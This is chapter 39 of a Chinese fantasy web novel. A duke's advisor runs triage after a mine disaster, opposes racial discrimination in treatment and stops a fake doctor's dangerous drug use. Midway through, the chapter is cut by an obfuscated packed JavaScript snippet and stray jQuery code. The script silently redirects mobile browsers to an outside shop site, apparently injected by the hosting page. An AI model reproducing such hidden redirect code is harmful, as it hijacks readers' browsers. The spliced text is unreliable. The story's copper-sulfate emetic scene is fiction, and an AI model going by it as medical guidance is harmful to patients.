39. 第 39 章
    重伤的伤患被集中安排在一个遮阳棚内,伊洛里只刚踏进棚内一步,就紧紧地皱起了脸,而越是往里面走,里面的景象就越是令伊洛里的脸色青白。

    跟周围的其他遮阳棚相比,这个棚里的血腥味浓重得好像有人在生剖鱼类,伊洛里看见躺在床上的都是蓝血人,他们中的部分人有严重的开放性骨折伤,虚弱到再没力气喊疼,蓝色的血液从他们的伤口流出,在地面上淌成一个个小水坑。

    “休谟。”伯特喊住正在木板床旁边跟满手血的医生在说着什么的一个男人,他是负责这里面的伤患的矿场主管之一。

    休谟·切斯特转过身来,他其貌不扬,留着两撇小胡子,嘴巴有点往外凸,习惯性地撇着眼睛看人,看起来不太好相与。

    伯特:“我身边这位是伊洛里·亨特先生,新任的顾问,公爵阁下授命他来、呃,来接管伤者的处置工作。”

    休谟扫了一眼伊洛里:“公爵大人安排的……长官?”他嘴角抽搐了一下,像是想要压抑下某个不善的用词。

    休谟是从最底层的技工一路做到主管位置的,最开始每周只能领到三个半银币的工资,到现在依靠过硬的技术和资深的经验成为高管,拥有了格文矿场的1%股权,这靠自己努力得到成功的经历让他颇为自傲,并且天然对空降高层的人没有任何好感。

    伊洛里向前一步,“你好,切斯特主管,可以直接叫我亨特,我主要想了解这里伤者的具体情况,包括他们都是些什么伤,伤势怎么样。”

    “我需要先摸清楚这些信息,然后才能知道该怎么安置这些伤员,将他们送到医院。”

    伊洛里湖绿色的眼睛看着休谟,有种不容人拒绝的坚定。

    休谟生出了一股无名火,他待在这臭气熏天的遮阳棚,听着半死不活的呻吟声逐个人摸查伤情,可不是为了让一个不知道从哪里冒出来的小子摘桃子的。

    “我想情况很明显不是吗,”休谟硬邦邦地说,“就像你能看见的一样,他们很痛苦,有些人有脑震荡,晕到现在都没有醒来,有些人的内脏被沉重的石块砸出内伤,没隔十几分钟就要吐出一口血。”

    “但是暂时都用药物稳定住了情况,没有生命危险。”

    伊洛里看向休谟随手一指的床位,那里躺了个蓝血人,头上缠绕了厚厚一层纱布,嘴唇发绀,脸色青白得像张纸,但还算气息平稳。

    伊洛里沉吟道:“切斯特主管,你已经想好怎么把伤员都运到医院了吗?”

    “那当然,伯特经理已经跟法罗城内的红鬃车队商量好了,一旦道路畅通,他们就会立刻把车队里的角牛车都派进矿区来。”

    听休谟说到这个,一旁的伯特微微仰起头,表现得很自得,原本城内没有一个车队愿意接这个委托,就怕有人会死在他们车上,到时候不仅不挣钱还可能要吃官司倒赔钱,是多亏他一封封飞信那样来回传,才最后说动红鬃车队的队长接下委托——虽然格文矿场也需要为此支付高昂的费用就是了。

    “所以就是这样,”休谟加重音强调道,“伤员的安置工作已经处理得差不多了,没有再多加一个负责人的必要。”

    伊洛里对休谟最后那句话不置可否。

    他思索着,只要伤员能转运,那就不是最糟糕的情况,但还需要提高运送伤员的效率。

    伊洛里转过头看向伯特,道:“经理先生,现在矿场里运输矿石的火车可以启动吗?我认为可以增加一条线路,更快地把伤员送到医院。”

    伯特连忙摇头:“不行的,这里的火车都是专门开辟出来的运输特快线,跟城内的铁轨不相接,没办法用它们把伤员运送到城里,更不要说是去医院。”

    事故刚发生的时候,他也不是没打过用火车运人的主意,但一看那路线图,就完全打消了这个想法。为了缩短矿石的运输距离,提高生产效率,这条属于卡斯德伊家族的私轨在修建之初就选择了完全绕开法罗城,直通工业区集中的沿海城市。

    伯特从旁边堆放满杂物的桌子上扯过来一张皱巴巴的地图,摊开了,用茶杯压住地图的四个角。

    “你瞧,绿色这条线是矿区里的铁路线,红色的那些线则是从法罗城延伸出来的铁路网,两者之间没有任何一个接点。”伯特一边说,手指一边在地图上比划,试图说服愚昧无知的红血人放弃这个疯狂的想法。

    “我知道矿区的铁轨跟法罗城的铁轨没有接点,我已经在马车上看过这周边的路线图,但我有一个解决办法。”

    伊洛里拿了一支笔,在靠近城市的边缘划出一条斜线,这样一来,并行在狭窄山间的红绿两条铁路线就相当于架设起了一座“桥梁”。

    伊洛里指着那道斜线,说:“经理先生,你看这里,如果我们在这个地方临时铺设一条铁轨,那样就可以跟城市铁轨对接。”

    “这一段路的两条铁轨只相差一百米不到,并且中间地带没有高度差,如果修建速度够快,两个小时就可通车,会比等山路畅通快得多。”

    卡斯德伊家族的私人铁轨网一直在扩张,大量的钢轨、碎石、铺路用的器械和枕木都堆在矿区一隅,矿工们人数也充足,只要动员起来,这种小工程几乎是不费吹灰之力就能完成。

    伯特像听见了天方夜谭,瞪大眼睛,“那相当于要扰乱一座有三万人口的城市的交通,这条线路上的所有火车都要停运等我们的施工完成。”

    还有一句话他没有说出来,那就是就算这行得通,格文矿场也或许要为此举付出天价的赔偿金。

    伊洛里当然知道自己这个计划很冒险,也牵涉面广大,但是如果成功了,那很多人就能够及时得到医疗救助。

    伊洛里:“人命关天,现在不是担心这些的时候了,不管鞋合不合脚,总之先穿上。 ”

    伯特眼睁睁看着伊洛里问其他人要来了能书写飞信的魔法药水。

    伊洛里:“经理先生,跟法罗城市长协调和铺设铁轨的工作就交给你了,希望你能每隔半个小时就向我汇报一次工作进度,最好在四个小时之内能完成。”

    伯特还想挣扎,憋出来了一句话,“……或许,伤患其实经不起这个折腾,没有新鲜空气的车厢和颠簸的道路会要他们的命,还不如干脆留在矿区等待。”

    伊洛里抬起头,表情毫无动摇,这种时候看起来甚至近似于狄法的冷峻,“谢谢你提醒了我,我迟点还要去看一下车厢的情况,来决定车厢要如何改造。或许需要拆掉全部座椅。”

    伊洛里不知道自己跟狄法相处得久了,也在某种程度上变得与他相似,原本温润无害的气质抽生出令人如鲠在喉的骨刺。

    伯特一瞬间幻视自己在被可畏可怕的黄金大公审视,他的八字眉几乎缩成一团蜷缩的“毛毛虫”,可怜巴巴地贴在主人的眉骨上。

    伯特心底的小人在尖叫:哦我的老天爷,爵爷的红血人顾问也是个彻头彻尾的疯子!

    此时两个矿工一前一后用担架抬着一个男人进了遮阳棚,打断了两个人的谈话。

    担架上的男人头上破了一个大洞,鲜红的血液汨汨流出。

    一个矿工问:“切斯特主管,这里边还有空位吗?”

    休谟扫了一眼担架上已经半昏迷的伤患,摆手:“这人没大事,把他抬到其他遮阳棚里,我这里只收重伤的。”

    矿工犹疑地愣了一下:“切斯特主管,可是他的脑袋都流了那么多血,这都不能算是重伤吗?”

    休谟:“别来这里烦我,这里已经满员了,带着这个担架还是这个人也好滚出去。”

    “等一下!”伊洛里叫住矿工们。他上前按了按伤患的颈动脉,心跳的脉动微弱得仿佛雨中的琴弦声,下一秒就会消失,“这不是普通的伤,他需要立刻急救。”

    医生们看着伊洛里,却没有一个接伊洛里的话茬,仍旧站在原地不动。

    “你们还愣着干嘛,救人啊。”

    休谟说:“顾问先生,别为这个人操心了,特别是我们这里还有更加多需要治疗的、更有存活希望的蓝血人。”

    伊洛里愣住了,“你什么意思?”

    他又再环视棚内一周,这下他知道自己刚才在查看伤患时感受到的违和感是从哪里来的了——木床上没有一个伤患是红血人。

    休谟抱着手,十分理所当然地说道:“字面上的意思,顾问先生。这不是什么种族歧视,只是考虑到在药物紧缺的的情况下,比起孱弱的红血人,身强体壮的蓝血人得到救治后活下去的机会会更大。”

    “优先救存活几率较大的人,而不是谁弱谁有理,导致原本能活下来的人也死掉了——我认为这应该是急救的常识之一。”

    伊洛里不敢置信:“但明明还有多余的药物,你就因为红血人脆弱,所以擅自断定他们不值得医治?”

    “脆弱是他们的问题,不是我的问题,不给他们用药才是最佳决定,而且就只有那么几个红血人受伤了而已,你未免也太小题大做。”说着,休谟吸了吸鼻子,显然不觉得自己有错。

    这人在胡扯些什么?关乎人命的事说小题大做,怎么一个两个的都能这么理所当然地把金钱置于别人的生命之上?

    伊洛里深呼吸,不能冲动,不能乱,最是混乱的时期就越是要冷静,这时候起争执对局势没有任何帮助。

    伊洛里从牙缝里挤出话来:“这里没有红血或蓝血之分,我要求实行重伤优先原则,只要是重伤伤员,都要一视同仁地救治。”

    他拉住两个矿工抬着的担架,“你们把人放到那边的空床上,救出了更多的红血人的话也请把他们送到这里来,剩下的我们会看着办。”

    “啊,好、好的,先生。”矿工见伊洛里白白净净的,而且伯特经理也站在他旁边,所以虽然很疑惑他究竟是什么身份,但还是听从他的吩咐放下了人。

    休谟匆忙张开手拦在床前,气急败坏地说:“你、你这是在干扰这里的秩序,我要告诉公爵大人。”

    伊洛里恼怒得脸都涨红:“现在这里由我说了算!切斯特主管,请你闭上嘴!”

    伊洛里招手让医生过来,“你们只管救人,我保证事后不会有任何人追究你们的责任。”

    休谟一脸不可理喻,“等一下,你知道你自己在做什么吗?”

    休谟觉得伊洛里简直是脑袋被驴踢了。

    休谟咬了咬牙齿,说:“亨特顾问,我要跟你出去聊聊,这里边有很多事你不清楚,我要告诉你。”

    伊洛里本来不想再搭理他,但转念一想,这也是他要处理的事之一,不能敷衍着过去。

    等两人都站到外边时,休谟也不再忍耐了,他以一种恶狠狠的眼神瞪着伊洛里,说:“顾问先生,你给我听好了,我不管你是不是同情心泛滥还是别的什么鬼,但那里面的一大半人都有可能要留下终身残疾,如果真的全部救活了他们,他们就会起诉格文,要求格文承担起他们下半辈子的全部开销,那将是一笔巨款!巨款,你懂不懂!”

    “你不是公爵阁下的顾问吗,为什么不维护他的利益,而是要站在穷鬼的那边。”休谟最后一句话几乎是气急败坏吼出来的。

    休谟歇斯底里了。他才刚成为这个矿场的高层管理,分到了一部分股权,不可能眼睁睁看着它因为这种事垮掉。

    伊洛里的脸色比休谟还难看,听休谟说这种恶心的话,还拉不在场的狄法下水,比他自己被人侮辱成愚蠢的野蛮人还更加令他愤怒。

    伊洛里铁青着脸,说:“首先,你并不是在维护公爵的利益,你是想要维护你自己的利益;其次,如果不救劳工,按照帝国法典的规定,一次重大事故死难人数超过五十人,那矿场将要被永久关停,到时候就不仅是赔不赔抚恤金的问题了,而是这个矿场还能不能存在的问题。你以为害死了人就能什么责任都不负吗?我告诉你,那是不可能发生的事!”

    伊洛里说完,再也不想跟这个冷血自私的蓝血人有任何交流,转身就走,撂下一句:“切斯特先生,现场现在发生的一切,责任都在我身上,你不要插手,也禁止你插手。”

    “并且发生的所有事情,我都会如实地告知给公爵大人。”

    “不是,你等一下——”休谟还想追上去说什么,但在看见伊洛里寒冷的眼神后,他就像是被冻结住了的冰雕,脚死死粘在原地,半分动弹不得。

    回到遮阳棚里的伊洛里又再交代了一遍在场的医生要负起责任,一视同仁地对待每个送过来的伤员,然后他沉着脸离开重伤伤员区,去了其他遮阳棚。

    陆续还有很多伤者在被送进来,但他们伤势比较轻,没有那么鲜血淋漓,只是抱着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073327|149387||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    伤处在床上辗转着喊疼喊要死。

    忙着急救伤重者的医生都不怎么管他们,还能有力气喊,就证明死不了。

    伊洛里注意到几个医生在角落里似乎在捣鼓着什么,刺鼻的气味从医生们身前的玻璃皿里弥散出来。

    “你们这是在调什么药剂?”伊洛里走过去问。

    正在用力用木棒搅动器皿里的液体的医生们头也不回地答:“哥罗颠,好用的伤药都用完了,剩下的药材边角料只够配制哥罗颠。”

    伊洛里知道哥罗颠,这是药房里必备的一种麻醉剂,配置方法很简单,一般含有□□、土木香、车前草和苦薄荷,普通人感冒咳嗽,就会去药房买这种药剂来喝,喝下去后确实能在一定程度上减轻他们身体的疼痛。

    可是这种看似人畜无害的哥罗颠的后遗症同样不能忽视——它有一定几率会使服用者抽搐或者出现精神失常。

    伊洛里:“哥罗颠还是不要使用了,这种药品太危险,会危害伤员的身体健康。”

    其中一个胖医生山姆·布鲁克这才转身看向伊洛里,他下巴生了几个痦子,小眼睛很不耐烦地挤成一条线,打量着伊洛里。

    因为伊洛里刚才一直在外边走,还帮忙抬了好几个伤患的担架,所以此时脸上和衣服上沾上不少灰尘,粗一看,像是矿区里的小工。

    山姆·布鲁克对小工模样的伊洛里怒道:“你小子有行医执照吗,有什么依据说这药不能用?我这么久都是用哥罗颠给人治伤,他们可没有你这么多嘴。”

    虽然嘴上说得义正言辞,但实则是山姆想要用这种语气来掩盖内心的心虚。

    事实上,他就不是一个正经的执照医生,甚至他连大学都没有上过,在来格文矿场工作之前,他一直都在法罗城内的一间药房当药剂师,直到因为配错的药吃坏了人,药房经营不下去他才瞄上了这个肥缺,通过贿赂面试官成为了格文矿场的留驻医生之一。

    由于格文矿场的安全措施做得好,对工人也优待,没有强迫劳动的情况出现,山姆·布鲁克来矿场工作三年,遇到的事故十个手指头都能数得完,而受伤的矿工又只是一些擦破皮、跌破膝盖的小伤,很容易打发,因此他假医生的身份从来没有被人揭穿过。

    也因为不懂医学,所以在这次矿难发生的第一时间,在其他同事去矿井抢救人的时候,他主动提出自己跟几个医学见习生留在安置区里照顾伤员。

    用哥罗颠给伤员们止疼的点子也是他提出来的。

    伊洛里皱了皱眉,“我确实不是医生,本意也并不是想要质疑医生你的专业能力,但是三个月前发表在《生物与医学》杂志上的一篇研究表明哥罗颠中含有的某些麻醉成分可能会导致病人出现精神障碍,如果服用剂量过多,他们甚至会从此依赖上哥罗颠——”

    “胡说!”伊洛里被山姆·布鲁克肥实的身躯逼得不由得后退了几步,看起来似乎底气不足,再加上他说话的语气很温和,这更给了山姆理直气壮呵斥他的胆量。

    山姆像是急切想要否定伊洛里的质疑,嗓音猛地拔高了好几个度,“既然你什么都不是,那你提什么意见。快滚出去,别耽误我救人。”

    似乎是为了证明什么,山姆盛了满满一碗哥罗颠给一个正大声喊疼的人喂了下去。

    那人先是被药水呛得咳嗽得像要背过气去,而后声息迅速微弱下来,哼哼了几声之后就不再喊疼了。

    山姆嘴里念叨着:“看见了吧,这药吃不死人,是能救人的。”

    他正得意洋洋,下一刻那人却是猛地抽搐了起来,眼白都往外翻,嘴角也吐出唾沫,他挣扎着说:“救、救命……我要呼吸不过来了。”

    “该死,都喝了药你这娘娘腔混蛋就不能消停会儿吗。”山姆骂道,还想把碗里剩余的哥罗颠都给他从嘴巴里灌进去。

    “停下,你这不是在救人!”伊洛里啪地打掉了山姆手里的碗。

    伤患还在抽搐,从胃部反上来的秽物堵住了嗓子眼,他彻底说不出话来了。

    伊洛里当即把人从床上搂了起来,手臂按压在他胸口,不停上下颠他,锤他的背。

    “诶,你干什么?”

    “快把他放回床上。”

    这么危险的时刻,山姆和其他医学见习生还想伸手去抢人,伊洛里气恼得吼:“都别动!按我说的去拿催吐的胆矾过来。”

    “你算什么,按你说的来,那出了事谁负责?”

    伊洛里毫不犹豫:“我承担,我负责。”

    山姆还梗着脖子,“你有什么能耐——”

    但下一刻他就失语了,因为他看见了黄金家族的槲寄生家徽。

    伊洛里冷着脸看面前的蓝血人医生们:“这是狄法·卡斯德伊大公的纹章戒指,他任命我救治伤患。”

    他喝声:“快去拿胆矾!”

    一个卷发的见习生吓了一跳,兔子一样蹦去了后边的药材堆,翻找了一会儿后举起手,“在这儿。”

    不规则晶体在黯淡的日光中透出瑰丽的靛蓝。

    伊洛里:“太大块不能用,把它磨成颗粒放到碗里,再加水混合了拿过来。”

    卷发见习生又匆匆忙忙找研钵,锤得微型晶体飞溅出来,伊洛里正忙着颠怀里的人,让他恢复了呼吸,手上怼过来一碗浅蓝色的液体。

    伊洛里不管三七二十一掰开怀中人的牙齿把满满一碗胆矾水给他灌了下去。

    那人先是抗拒,不停挣扎,而后猛地发出一声响亮的呕吐声,下一刻嘴巴大张开,吐了一地还没有完全消化的食物残渣。

    周围医生都看呆了。

    伊洛里把人重新扶回床上,“慢慢呼气,呼——吸——对,就是这样。”

    在伊洛里的指导下,那人原本紫绀的嘴唇慢慢恢复了些许红润,脸色也不再那么骇人。

    随后,伊洛里把手上的碗往床板上一砸,吓得所有人看向他,“现在都听我的,哥罗颠不能再用了,只使用最基础的止血药粉,如果伤者不停喊疼,那就暂时给他们喝一点烈酒,用热毛巾敷着太阳穴。”

    这完全推翻了山姆的话。

    山姆涨红了脸,但是他不敢再说什么。

    伊洛里瞥了山姆一眼,锐利的眼光上下扫过,像是把他的特征记在了心里,然后他掀开帘子走了出去。